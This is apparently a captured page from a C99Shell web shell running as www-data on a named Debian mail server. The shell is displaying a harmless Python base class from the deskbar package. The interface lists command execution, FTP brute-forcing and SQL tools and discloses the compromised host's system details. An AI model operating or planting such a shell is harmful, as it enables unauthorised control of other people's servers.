!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/pyshared/deskbar/interfaces/   drwxr-xr-x
Free 129.96 GB of 142.11 GB (91.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Module.py (3.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import gobject
"""
Each file will require a list of handlers stored in HANDLERS variable
"""
class Module(gobject.GObject):
    
    __gsignals__ = {
        "query-ready" : (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, [gobject.TYPE_STRING, gobject.TYPE_PYOBJECT]),
    }
    
    INFOS = {'icon': '', 'name': '', 'description': '', 'version': '1.0.0.0', 'categories': {}}
    INSTRUCTIONS = ""
    
    def __init__(self):
        super(Module, self).__init__()
        self._priority = 0
        self._enabled = False
        self._updateable = False
        self._filename = None
        self._id = ""
    
    def _emit_query_ready (self, query, matches):
        """Idle handler to emit a 'query-ready' signal to the main loop."""
        self.emit ("query-ready", query, matches)
        return False
    
    def is_enabled(self):
        """
        Whether the module is enabled
        """
        return self._enabled
    
    def set_enabled(self, val):
        """
        Set handler's enabled state
        """
        self._enabled = val
        
    def is_updateable(self):
        """
        Whether a update for the plugin is available
        """
        return self._updateable
    
    def set_updateable(self, val):
        self._updateable = val
    
    def get_priority(self):
        """
        Get module's priority
        """
        return self._priority
    
    def set_priority(self, prio):
        """
        Set module's priority
        """
        self._priority = prio
        
    def get_filename(self):
        """
        Get the filename of the module
        """
        return self._filename
    
    def set_filename(self, filename):
        """
        Set the filename of the module
        """
        self._filename = filename
        
    def get_id(self):
        """
        Get module's id
        
        Usually, this is the filename
        """
        return self._id
        
    def set_id(self, mod_id):
        """
        Set module's id
        """
        self._id = mod_id
        
    def set_priority_for_matches(self, matches):
        """
        Set the module's priotity for each match
        
        @type matches: list of L{deskbar.interfaces.Match} 
        """
        for m in matches:
            m.set_priority( self.get_priority( ))
    
    def query(self, text):
        """
        Perform the query
        
        @param text: search term 
        """
        raise NotImplementedError
    
    def has_config(self):
        """
        Whether the module has a config dialog
        """
        return False
    
    def show_config(self, parent):
        """
        Should contain code to display configuration dialog
        """
        pass
    
    def initialize(self):
        """
        The initialize of the Handler should not block. 
        Heavy duty tasks such as indexing should be done in this method, it 
        will be called with a low priority in the mainloop.
        
        Handler.initialize() is guarantied to be called before the handler
        is queried.
        
        If an exception is thrown in this method, the module will be ignored and will
        not receive any query.
        """
        pass
    
    def stop(self):
        """
        If the handler needs any cleaning up before it is unloaded, do it here.
        
        Handler.stop() is guarantied to be called before the handler is 
        unloaded.
        """
        pass
    
    @staticmethod
    def has_requirements():
        """
        Whether all requirements are met to use this module
        """
        return True
    

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0069 ]--